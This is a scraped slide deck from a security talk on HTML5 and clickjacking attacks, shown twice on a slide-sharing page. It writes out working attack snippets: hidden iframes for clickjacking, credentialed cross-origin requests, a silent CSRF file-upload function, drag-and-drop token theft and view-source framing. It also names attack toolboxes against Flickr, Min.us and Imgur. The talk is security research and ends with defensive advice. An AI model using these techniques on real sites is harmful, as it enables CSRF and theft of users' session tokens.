Html5: something wicked this way comes

Krzysztof Kotowicz
Krzysztof KotowiczWeb security researcher at Google
HTML5:
Something wicked this way comes

Krzysztof Kotowicz
Securing




                     1
About me
• security researcher
  • HTML 5
  • UI redressing / clickjacking
  • xss-track, squid-imposter, ...
• pentester
• IT security trainer
  • „Hacking HTML5”
                        2
Plan
• Same origin policy
• Exploiting users
• Attack gadgets
• Wrap-up


                   3
Same origin policy
• the single most important security
   concept for the web
• restricts communication between
   websites from different domains
• has many flavors
• without it hell breaks loose

                   4
Same origin policy
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • by exploiting users
  • UI redressing (clickjacking)
                       5
Exploiting users
 Users
• Like games
  • 100 mln play social games //goo.gl/RRWlM
• Are not security-savvy


                     6
Exploiting users




                       //goo.gl/DgPpY
                   7
Combined attacks
• Gadgets
  • HTML5
  • UI redressing
• Join them
• New attacks


                    8
Gadgets



  9
Basic clickjacking




                 10
Basic clickjacking




                      20x20   <iframe>




                 11
Basic clickjacking



                                   <iframe>


                            -300

             -350        20x20




                    12
Basic clickjacking



                                      <iframe>
               Victim website


                      20x20   Like us, plz!




                 13
Basic clickjacking
  <iframe src=outer.html
width=20 height=20 scrolling=no
style="opacity:0;"></iframe>

<!-- outer.html -->
<iframe src="//victim" width=5000
height=5000 style="position:
absolute; top:-300px; left:
-350px;"></iframe>

                 14
Basic clickjacking
• Trick: Click here to see a video!
• User action: click
+ Any clickable action
+ Works in every browser
-   X-Frame-Option
-   JS framebusting
                      15
HTML5 IFRAME sandbox
• Used to embed untrusted content
   • prevents XSS
   • prevents defacement
• Facilitates clickjacking!
<iframe sandbox="allow-same-origin
allow-forms allow-scripts"
 src="//victim"></iframe>
                              //html5sec.org/#122

                     16
HTML5 IFRAME sandbox



+ Chrome / Safari / IE 10
+ Will disable most JS framebusters
-   X-Frame-Option



                     17
Cross Origin Resource Sharing
• HTML5-ish
• Cross domain AJAX
• With cookies
• Blind
  • Unless the receiving site agrees
• Not limited to <form> syntax
• Used to trigger CSRF
                      18
Cross Origin Resource Sharing


var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");




                        19
Cross Origin Resource Sharing

POST / HTTP/1.1
Host: victim
Connection: keep-alive
Referer: http://dev.localhost/temp/cors.php
Content-Length: 15
Origin: http://dev.localhost
Content-Type: text/plain
...
Cookie: my-cookie=myvalue

Anything I want



                           20
Silent file upload
• File upload purely in Javascript
• Silent <input type=file> with any file
   name and content
• Uses CORS
• How? Create raw multipart/form-data

                     21
Silent file upload
function fileUpload(url, fileData, fileName) {
   var fileSize = fileData.length,
     boundary = "xxxxxxxxx",
     xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);




                         22
Silent file upload

var body = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.send(body);




                        23
Silent file upload
+ No user action
+ No frames
+ Cross-domain, with cookies
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response
                     24
Silent file upload



                DEMO
              Flickr.com




                     25
Flickr.com attack toolbox
• Remember me
  • Flickr creates logged session on first
     request

• CSRF file upload
  • http://up.flickr.com/photos/upload/transfer/
  • accepts file uploads
  • token check skipped

                       26
Drag into
• Put attackers content into victim form




                   27
Drag into



                DEMO
            Alphabet Hero




                 28
Drag into
• Trick: Put paper in the can!
• User action: drag & drop, click
+   Inject arbitrary content
+   Trigger self-XSS
-   Firefox only
-   X-Frame-Option
-   JS framebusting

                        29
Drag into
 Self-XSS in real life:
• wordpress 0-day (Jelmer de Hen)
   //goo.gl/dNYi5
• chronme.com (sneaked.net)
   //goo.gl/hs7Bw
• Google Code vulns (Amol Naik)
   //goo.gl/NxKFY

                    30
Drag out content extraction


    image


                      image




                 31
Drag out content extraction


    image
        victim
      <iframe>
                      image




                 32
Drag out content extraction


    image
        victim
      <iframe>
                      textarea
                        <textarea>




                 33
Drag out content extraction
<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                      34
Drag out content extraction




                 35
Drag out content extraction




                 36
Drag out content extraction

$("#iframe").attr('src', 'outer.html’);
$('#dropper').bind('drop', function() {
    setTimeout(function() {
        var urlmatch = $("#dropper").val()
                        .match(/token=([a-h0-9]+)$/);
        if (urlmatch) {
            var token = urlmatch[1];
            // do EVIL
        }
    }, 100);
});




                            37
Drag out content extraction
• Trick: Put paper in the can!
• User action: drag & drop
+ Access sensitive content cross domain
-   Firefox only
-   X-Frame-Option
-   JS framebusting

                      38
Drag out content extraction



              DEMO
              Min.us




                 39
Min.us attack toolbox
• CORS to create gallery
• social engineering
  • extract gallery editor-id from <a href>
• silent file upload to gallery
• CORS change gallery to public
• HTML5 + UI redressing combined!
                       40
View-source
• Display HTML source in frame
  • session IDs
  • tokens
  • private data
<iframe
 src="view-source:view-source:http://victim"
 width=5000 height=5000
 style="position: absolute;
        top: -300px; left: -150px;">
</iframe>

                      41
View-source




              42
View-source




              43
View-source
• Trick: Your serial number is...
• User action: select + drag & drop, copy-paste
+   Beats JS framebusting
+   Already earned $500 from Facebook
-   X-Frame-Options
-   Firefox only
-   Complicated user action


                       44
View-source



                DEMO
              Imgur.com




                 45
Imgur.com attack toolbox
• framed view-source:
  • captcha-like string (AdSense ID)
  • session ID
• social engineering:
  • trick to copy/paste page source
• Exploitation:
  • http://api.imgur.com
  • cookie auth, no IP limits for session
                       46
Summary
• UI redressing attacks are improving
• HTML5 helps exploiting
   vulnerabilities
• Users can be a weak link too!
   Devs:
   Use X-Frame-Options: DENY

                     47
Links
• html5sec.org
• code.google.com/p/html5security
• www.contextis.co.uk/research/white-papers/
    clickjacking
• blog.kotowicz.net
• github.com/koto
  Twitter: @kkotowicz
  kkotowicz@securing.pl

                        48
?
49
1 of 49

Recommended

Html5: something wicked this way comes - HackPra by
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraKrzysztof Kotowicz
5.7K views64 slides
Something wicked this way comes - CONFidence by
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceKrzysztof Kotowicz
2.8K views51 slides
Html5: Something wicked this way comes (Hack in Paris) by
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Krzysztof Kotowicz
15.4K views47 slides
Where There's Money, There's Crime: Web-based Threats by
Where There's Money, There's Crime: Web-based ThreatsWhere There's Money, There's Crime: Web-based Threats
Where There's Money, There's Crime: Web-based ThreatsAvast
150 views43 slides
[HEWEBAR 2012] Beyond Desktop Browsing (HTML5) by
[HEWEBAR 2012] Beyond Desktop Browsing (HTML5)[HEWEBAR 2012] Beyond Desktop Browsing (HTML5)
[HEWEBAR 2012] Beyond Desktop Browsing (HTML5)Christopher Schmitt
1.5K views151 slides
VSA: The Virtual Scripted Attacker, Brucon 2012 by
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012Abraham Aranguren
2.6K views9 slides

More Related Content

What's hot

How to make Ajax Libraries work for you by
How to make Ajax Libraries work for youHow to make Ajax Libraries work for you
How to make Ajax Libraries work for youSimon Willison
1.4K views51 slides
Netvibes UWA workshop at ParisWeb 2007 by
Netvibes UWA workshop at ParisWeb 2007Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes
1.3K views42 slides
HTML5 (and friends) - History, overview and current status - jsDay Verona 11.... by
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....Patrick Lauke
1.6K views106 slides
[Poland] It's only about frontend by
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontendOWASP EEE
521 views56 slides
WAPWG Clark defining capturing_web-based_if by
WAPWG Clark defining capturing_web-based_ifWAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifSara Day Thomson
111 views32 slides
14. html 5 security considerations by
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerationsEoin Keary
163 views19 slides

What's hot(8)

How to make Ajax Libraries work for you by Simon Willison
How to make Ajax Libraries work for youHow to make Ajax Libraries work for you
How to make Ajax Libraries work for you
Simon Willison1.4K views
Netvibes UWA workshop at ParisWeb 2007 by Netvibes
Netvibes UWA workshop at ParisWeb 2007Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007
Netvibes1.3K views
HTML5 (and friends) - History, overview and current status - jsDay Verona 11.... by Patrick Lauke
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
Patrick Lauke1.6K views
[Poland] It's only about frontend by OWASP EEE
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
OWASP EEE521 views
WAPWG Clark defining capturing_web-based_if by Sara Day Thomson
WAPWG Clark defining capturing_web-based_ifWAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_if
Sara Day Thomson111 views
14. html 5 security considerations by Eoin Keary
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerations
Eoin Keary163 views
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services by Abraham Aranguren
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren19.5K views

Viewers also liked

CSRF + clickjacking by
CSRF + clickjackingCSRF + clickjacking
CSRF + clickjackingAbirtone S.L.
869 views15 slides
New Insights into Clickjacking by
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into ClickjackingMarco Balduzzi
4.9K views17 slides
Why HTML Form dose not support PUT & DELETE ? by
Why HTML Form dose not support PUT & DELETE ?Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Jxck Jxck
15.3K views25 slides
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t... by
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...DefconRussia
2.7K views41 slides
CSRF: ways to exploit, ways to prevent by
CSRF: ways to exploit, ways to preventCSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventPaulius Leščinskas
908 views20 slides
Clickjacking Attack by
Clickjacking AttackClickjacking Attack
Clickjacking AttackTùng Hà Sơn
1.7K views16 slides

Viewers also liked(9)

New Insights into Clickjacking by Marco Balduzzi
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into Clickjacking
Marco Balduzzi4.9K views
Why HTML Form dose not support PUT & DELETE ? by Jxck Jxck
Why HTML Form dose not support PUT & DELETE ?Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?
Jxck Jxck15.3K views
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t... by DefconRussia
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
DefconRussia2.7K views

Similar to Html5: something wicked this way comes

Krzysztof kotowicz. something wicked this way comes by
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
1.3K views52 slides
Html5 security by
Html5 securityHtml5 security
Html5 securityKrishna T
2.6K views34 slides
External JavaScript Widget Development Best Practices (updated) (v.1.1) by
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) Volkan Özçelik
4.3K views28 slides
Clickjacking by
ClickjackingClickjacking
ClickjackingRishi Kant
104 views10 slides
Mobile Web Development with HTML5 by
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5Roy Clarkson
905 views50 slides
External JavaScript Widget Development Best Practices by
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesVolkan Özçelik
4.8K views27 slides

Similar to Html5: something wicked this way comes(20)

Krzysztof kotowicz. something wicked this way comes by Yury Chemerkin
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
Yury Chemerkin1.3K views
Html5 security by Krishna T
Html5 securityHtml5 security
Html5 security
Krishna T2.6K views
External JavaScript Widget Development Best Practices (updated) (v.1.1) by Volkan Özçelik
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
Volkan Özçelik4.3K views
Clickjacking by Rishi Kant
ClickjackingClickjacking
Clickjacking
Rishi Kant104 views
Mobile Web Development with HTML5 by Roy Clarkson
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5
Roy Clarkson905 views
External JavaScript Widget Development Best Practices by Volkan Özçelik
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
Volkan Özçelik4.8K views
Protecting Java EE Web Apps with Secure HTTP Headers by Frank Kim
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
Frank Kim13.7K views
Java scriptwidgetdevelopmentjstanbul2012 by Volkan Özçelik
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
Volkan Özçelik324 views
HTML for the Mobile Web, Firefox OS by All Things Open
HTML for the Mobile Web, Firefox OSHTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OS
All Things Open786 views
Devouring Security Insufficient data validation risks Cross Site Scripting by gmaran23
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
gmaran233.4K views
On the Edge Systems Administration with Golang by Chris McEniry
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with Golang
Chris McEniry1.4K views
How dojo works by Amit Tyagi
How dojo worksHow dojo works
How dojo works
Amit Tyagi8.6K views
Browser Horror Stories by EC-Council
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
EC-Council652 views
Modern iframe programming by benvinegar
Modern iframe programmingModern iframe programming
Modern iframe programming
benvinegar13.2K views
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions by Zoltan Balazs
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
Zoltan Balazs791 views
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27 by Frédéric Harper
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Frédéric Harper2.1K views
Securing your web application through HTTP headers by Andre N. Klingsheim
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
Andre N. Klingsheim1.5K views
Expert guide for PHP by Steve Fort
Expert guide for PHPExpert guide for PHP
Expert guide for PHP
Steve Fort626 views

More from Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam) by
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
557 views22 slides
Trusted Types @ W3C TPAC 2018 by
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Krzysztof Kotowicz
208 views25 slides
Trusted Types and the end of DOM XSS by
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
3.8K views27 slides
Biting into the forbidden fruit. Lessons from trusting Javascript crypto. by
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
14.7K views58 slides
Hacking HTML5 offensive course (Zeronights edition) by
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
4.2K views39 slides
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions by
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
9.7K views49 slides

More from Krzysztof Kotowicz(14)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam) by Krzysztof Kotowicz
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Krzysztof Kotowicz557 views
Biting into the forbidden fruit. Lessons from trusting Javascript crypto. by Krzysztof Kotowicz
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Krzysztof Kotowicz14.7K views
Hacking HTML5 offensive course (Zeronights edition) by Krzysztof Kotowicz
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz4.2K views
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions by Krzysztof Kotowicz
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
Krzysztof Kotowicz9.7K views
Creating, obfuscating and analyzing malware JavaScript by Krzysztof Kotowicz
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
Krzysztof Kotowicz1.4K views
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript by Krzysztof Kotowicz
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Krzysztof Kotowicz2.8K views
Jak ocalić swoje dane przed SQL injection? by Krzysztof Kotowicz
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
Krzysztof Kotowicz2.2K views
SQL Injection: complete walkthrough (not only) for PHP developers by Krzysztof Kotowicz
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
Krzysztof Kotowicz17.9K views
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko) by Krzysztof Kotowicz
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Krzysztof Kotowicz6.4K views

Recently uploaded

STPI OctaNE CoE Brochure.pdf by
STPI OctaNE CoE Brochure.pdfSTPI OctaNE CoE Brochure.pdf
STPI OctaNE CoE Brochure.pdfmadhurjyapb
13 views1 slide
Uni Systems for Power Platform.pptx by
Uni Systems for Power Platform.pptxUni Systems for Power Platform.pptx
Uni Systems for Power Platform.pptxUni Systems S.M.S.A.
55 views21 slides
ChatGPT and AI for Web Developers by
ChatGPT and AI for Web DevelopersChatGPT and AI for Web Developers
ChatGPT and AI for Web DevelopersMaximiliano Firtman
187 views82 slides
Tunable Laser (1).pptx by
Tunable Laser (1).pptxTunable Laser (1).pptx
Tunable Laser (1).pptxHajira Mahmood
24 views37 slides
Empathic Computing: Delivering the Potential of the Metaverse by
Empathic Computing: Delivering  the Potential of the MetaverseEmpathic Computing: Delivering  the Potential of the Metaverse
Empathic Computing: Delivering the Potential of the MetaverseMark Billinghurst
476 views80 slides
Report 2030 Digital Decade by
Report 2030 Digital DecadeReport 2030 Digital Decade
Report 2030 Digital DecadeMassimo Talia
15 views41 slides

Recently uploaded(20)

STPI OctaNE CoE Brochure.pdf by madhurjyapb
STPI OctaNE CoE Brochure.pdfSTPI OctaNE CoE Brochure.pdf
STPI OctaNE CoE Brochure.pdf
madhurjyapb13 views
Empathic Computing: Delivering the Potential of the Metaverse by Mark Billinghurst
Empathic Computing: Delivering  the Potential of the MetaverseEmpathic Computing: Delivering  the Potential of the Metaverse
Empathic Computing: Delivering the Potential of the Metaverse
Mark Billinghurst476 views
Voice Logger - Telephony Integration Solution at Aegis by Nirmal Sharma
Voice Logger - Telephony Integration Solution at AegisVoice Logger - Telephony Integration Solution at Aegis
Voice Logger - Telephony Integration Solution at Aegis
Nirmal Sharma31 views
Igniting Next Level Productivity with AI-Infused Data Integration Workflows by Safe Software
Igniting Next Level Productivity with AI-Infused Data Integration Workflows Igniting Next Level Productivity with AI-Infused Data Integration Workflows
Igniting Next Level Productivity with AI-Infused Data Integration Workflows
Safe Software257 views
Lilypad @ Labweek, Istanbul, 2023.pdf by Ally339821
Lilypad @ Labweek, Istanbul, 2023.pdfLilypad @ Labweek, Istanbul, 2023.pdf
Lilypad @ Labweek, Istanbul, 2023.pdf
Ally3398219 views
Transcript: The Details of Description Techniques tips and tangents on altern... by BookNet Canada
Transcript: The Details of Description Techniques tips and tangents on altern...Transcript: The Details of Description Techniques tips and tangents on altern...
Transcript: The Details of Description Techniques tips and tangents on altern...
BookNet Canada135 views
Attacking IoT Devices from a Web Perspective - Linux Day by Simone Onofri
Attacking IoT Devices from a Web Perspective - Linux Day Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day
Simone Onofri15 views
Perth MeetUp November 2023 by Michael Price
Perth MeetUp November 2023 Perth MeetUp November 2023
Perth MeetUp November 2023
Michael Price19 views
TouchLog: Finger Micro Gesture Recognition Using Photo-Reflective Sensors by sugiuralab
TouchLog: Finger Micro Gesture Recognition  Using Photo-Reflective SensorsTouchLog: Finger Micro Gesture Recognition  Using Photo-Reflective Sensors
TouchLog: Finger Micro Gesture Recognition Using Photo-Reflective Sensors
sugiuralab19 views
Business Analyst Series 2023 - Week 3 Session 5 by DianaGray10
Business Analyst Series 2023 -  Week 3 Session 5Business Analyst Series 2023 -  Week 3 Session 5
Business Analyst Series 2023 - Week 3 Session 5
DianaGray10237 views
Piloting & Scaling Successfully With Microsoft Viva by Richard Harbridge
Piloting & Scaling Successfully With Microsoft VivaPiloting & Scaling Successfully With Microsoft Viva
Piloting & Scaling Successfully With Microsoft Viva
1st parposal presentation.pptx by i238212
1st parposal presentation.pptx1st parposal presentation.pptx
1st parposal presentation.pptx
i2382129 views
6g - REPORT.pdf by Liveplex
6g - REPORT.pdf6g - REPORT.pdf
6g - REPORT.pdf
Liveplex10 views

Html5: something wicked this way comes

  • 1. HTML5: Something wicked this way comes Krzysztof Kotowicz Securing 1
  • 2. About me • security researcher • HTML 5 • UI redressing / clickjacking • xss-track, squid-imposter, ... • pentester • IT security trainer • „Hacking HTML5” 2
  • 3. Plan • Same origin policy • Exploiting users • Attack gadgets • Wrap-up 3
  • 4. Same origin policy • the single most important security concept for the web • restricts communication between websites from different domains • has many flavors • without it hell breaks loose 4
  • 5. Same origin policy • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • by exploiting users • UI redressing (clickjacking) 5
  • 6. Exploiting users Users • Like games • 100 mln play social games //goo.gl/RRWlM • Are not security-savvy 6
  • 7. Exploiting users //goo.gl/DgPpY 7
  • 8. Combined attacks • Gadgets • HTML5 • UI redressing • Join them • New attacks 8
  • 11. Basic clickjacking 20x20 <iframe> 11
  • 12. Basic clickjacking <iframe> -300 -350 20x20 12
  • 13. Basic clickjacking <iframe> Victim website 20x20 Like us, plz! 13
  • 14. Basic clickjacking <iframe src=outer.html width=20 height=20 scrolling=no style="opacity:0;"></iframe> <!-- outer.html --> <iframe src="//victim" width=5000 height=5000 style="position: absolute; top:-300px; left: -350px;"></iframe> 14
  • 15. Basic clickjacking • Trick: Click here to see a video! • User action: click + Any clickable action + Works in every browser - X-Frame-Option - JS framebusting 15
  • 16. HTML5 IFRAME sandbox • Used to embed untrusted content • prevents XSS • prevents defacement • Facilitates clickjacking! <iframe sandbox="allow-same-origin allow-forms allow-scripts" src="//victim"></iframe> //html5sec.org/#122 16
  • 17. HTML5 IFRAME sandbox + Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Option 17
  • 18. Cross Origin Resource Sharing • HTML5-ish • Cross domain AJAX • With cookies • Blind • Unless the receiving site agrees • Not limited to <form> syntax • Used to trigger CSRF 18
  • 19. Cross Origin Resource Sharing var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 19
  • 20. Cross Origin Resource Sharing POST / HTTP/1.1 Host: victim Connection: keep-alive Referer: http://dev.localhost/temp/cors.php Content-Length: 15 Origin: http://dev.localhost Content-Type: text/plain ... Cookie: my-cookie=myvalue Anything I want 20
  • 21. Silent file upload • File upload purely in Javascript • Silent <input type=file> with any file name and content • Uses CORS • How? Create raw multipart/form-data 21
  • 22. Silent file upload function fileUpload(url, fileData, fileName) {    var fileSize = fileData.length,      boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);    xhr.setRequestHeader("Content-Length", fileSize); 22
  • 23. Silent file upload var body = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.send(body); 23
  • 24. Silent file upload + No user action + No frames + Cross-domain, with cookies + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 24
  • 25. Silent file upload DEMO Flickr.com 25
  • 26. Flickr.com attack toolbox • Remember me • Flickr creates logged session on first request • CSRF file upload • http://up.flickr.com/photos/upload/transfer/ • accepts file uploads • token check skipped 26
  • 27. Drag into • Put attackers content into victim form 27
  • 28. Drag into DEMO Alphabet Hero 28
  • 29. Drag into • Trick: Put paper in the can! • User action: drag & drop, click + Inject arbitrary content + Trigger self-XSS - Firefox only - X-Frame-Option - JS framebusting 29
  • 30. Drag into Self-XSS in real life: • wordpress 0-day (Jelmer de Hen) //goo.gl/dNYi5 • chronme.com (sneaked.net) //goo.gl/hs7Bw • Google Code vulns (Amol Naik) //goo.gl/NxKFY 30
  • 31. Drag out content extraction image image 31
  • 32. Drag out content extraction image victim <iframe> image 32
  • 33. Drag out content extraction image victim <iframe> textarea <textarea> 33
  • 34. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 34
  • 35. Drag out content extraction 35
  • 36. Drag out content extraction 36
  • 37. Drag out content extraction $("#iframe").attr('src', 'outer.html’); $('#dropper').bind('drop', function() {     setTimeout(function() {         var urlmatch = $("#dropper").val() .match(/token=([a-h0-9]+)$/);         if (urlmatch) {             var token = urlmatch[1];             // do EVIL         }     }, 100); }); 37
  • 38. Drag out content extraction • Trick: Put paper in the can! • User action: drag & drop + Access sensitive content cross domain - Firefox only - X-Frame-Option - JS framebusting 38
  • 39. Drag out content extraction DEMO Min.us 39
  • 40. Min.us attack toolbox • CORS to create gallery • social engineering • extract gallery editor-id from <a href> • silent file upload to gallery • CORS change gallery to public • HTML5 + UI redressing combined! 40
  • 41. View-source • Display HTML source in frame • session IDs • tokens • private data <iframe src="view-source:view-source:http://victim" width=5000 height=5000 style="position: absolute; top: -300px; left: -150px;"> </iframe> 41
  • 44. View-source • Trick: Your serial number is... • User action: select + drag & drop, copy-paste + Beats JS framebusting + Already earned $500 from Facebook - X-Frame-Options - Firefox only - Complicated user action 44
  • 45. View-source DEMO Imgur.com 45
  • 46. Imgur.com attack toolbox • framed view-source: • captcha-like string (AdSense ID) • session ID • social engineering: • trick to copy/paste page source • Exploitation: • http://api.imgur.com • cookie auth, no IP limits for session 46
